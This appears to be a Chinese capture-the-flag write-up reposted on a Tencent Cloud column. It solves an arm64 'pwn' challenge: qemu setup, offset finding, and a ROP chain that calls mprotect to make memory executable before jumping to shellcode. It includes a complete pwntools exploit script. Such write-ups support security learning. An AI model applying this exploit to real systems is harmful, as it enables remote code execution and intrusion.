前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >“骇极杯”——pwn复现详解

“骇极杯”——pwn复现详解

作者头像
安恒网络空间安全讲武堂
发布2018-12-24 09:42:32
1.1K0
发布2018-12-24 09:42:32
举报

pwn-arm64

当时在做的时候看见是arm的框架就放弃了,环境都不会搭建简直爆炸了,所以就没有继续做了。复现的时候发现其实搭建环境的思路还是很清晰的。

环境搭建

qemu安装
代码语言:javascript
复制
apt-get install qemu
依赖库的安装
代码语言:javascript
复制
sudo apt-get install -y gcc-aarch64-linux-gun g++-aarch64-linux-gnu
程序本地调试
代码语言:javascript
复制
qemu-aarch64 -g 1111 -L /usr/aarch64-linux-gnu ./pwn

此处-g会使其等待gdb的调试链接,-L能够指定链接我们之前下载的动态库。

程序功能分析

main函数和子函数分析(本身不是叫这个,为了清晰表达,这里就叫main函数)

如果是在elf文件里,大家肯定一眼就看出这里是个re2sc,但是这是个arm。。按照道理应该也是一样的我们继续往下看。

mprotect函数

这个函数本身我是不了解的,所以去查了一下,进行了详尽的了解

mprotect
代码语言:javascript
复制
int mprotect(const void *addr,size_t len,int prot)

看上面的参数应该前两个还是很好理解的,一个是地址,一个是需要的长度,而最后一个有4个参数: 1.PROTREAD(可读)-1 2.PROTWRITE(可写)-2 3.PROTEXEC(可执行)-7 4.PROTNONE(没有任何权限)-0 后面的数字表示参数的值是什么。也就是说这个程序可以帮助我们修改任意段的一个执行权限。

GDB调试

调试步骤

这里我就对偏移进行了一下确定,利用的是上文说的本地调试指令。然后起一个本地gdb服务

利用gdb-pwndbg的pattern函数确定了一下偏移为72.

最初思路

因为没有开什么保护,又看见是re2sc所以我直接选择用pwntools自带的shellcraft进行一个远程的攻击,结果发现远程端的bss段是不可执行的。。这让我有一些难受了

新思路

首先利用mprotect函数进行一次改写,这里的改写操作就要用到arm64的一些调用规定的涉猎了这里我就不进行详细的解说贴出一个网址大家可以自己学习一下:https://www.sohu.com/a/212875736_487493

ROP链寻找
代码语言:javascript
复制
0x00000000004008ac : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ; mov w0, w24 ; add x19, x19, #1 ; blr x3
0x00000000004008cc : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret

由于arm的调用规则所以选取以上的ROP,选取过程利用的是ROPgadget(支持arm64的架构)

利用过程
代码语言:javascript
复制
一、首先在第一个read的时候布局我们的shellcode
二、第一次ROP改写0x411000这个段的权限实现我们对此段的执行
三、ret回我们之前输入的shellcode

exp:

代码语言:javascript
复制
from pwn import*

elf = ELF('./pwn1')
context.binary = elf
p = remote('127.0.0.1',10004)
raw_input()

payloadsc = p64(0x4007e0)+p64(0)+asm(shellcraft.aarch64.sh())
print len(payloadsc)
p.recvuntil('Name:')
p.sendline(payloadsc)
sleep(0.1)
payloadROP = 'a'*72 + p64(0x4008CC) + p64(0) + p64(0x04008ac)
payloadROP += p64(0) +p64(0)+p64(0x411068)+p64(0x7)+p64(0x512)
payloadROP += p64(0x411000) + p64(0x411068+0x10) +p64(0x411068+0x10) 
p.sendline(payloadROP)
p.interactive()
总结

arm64的调用规则很奇怪,还是得多了解多调试,复现这个题的过程中还参考了些大佬们的做法,最后才做出来,光花在调试上的时间就非常多了。

参考链接

https://xz.aliyun.com/t/3155#toc-6 https://xz.aliyun.com/t/3154

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-11-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
    • qemu安装
      • 依赖库的安装
        • 程序本地调试
        • 程序功能分析
          • main函数和子函数分析(本身不是叫这个,为了清晰表达,这里就叫main函数)
            • mprotect函数
            • GDB调试
              • 调试步骤
                • 最初思路
                  • 新思路
                    • ROP链寻找
                    • 利用过程
                • exp:
                  • 总结
                    • 参考链接
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档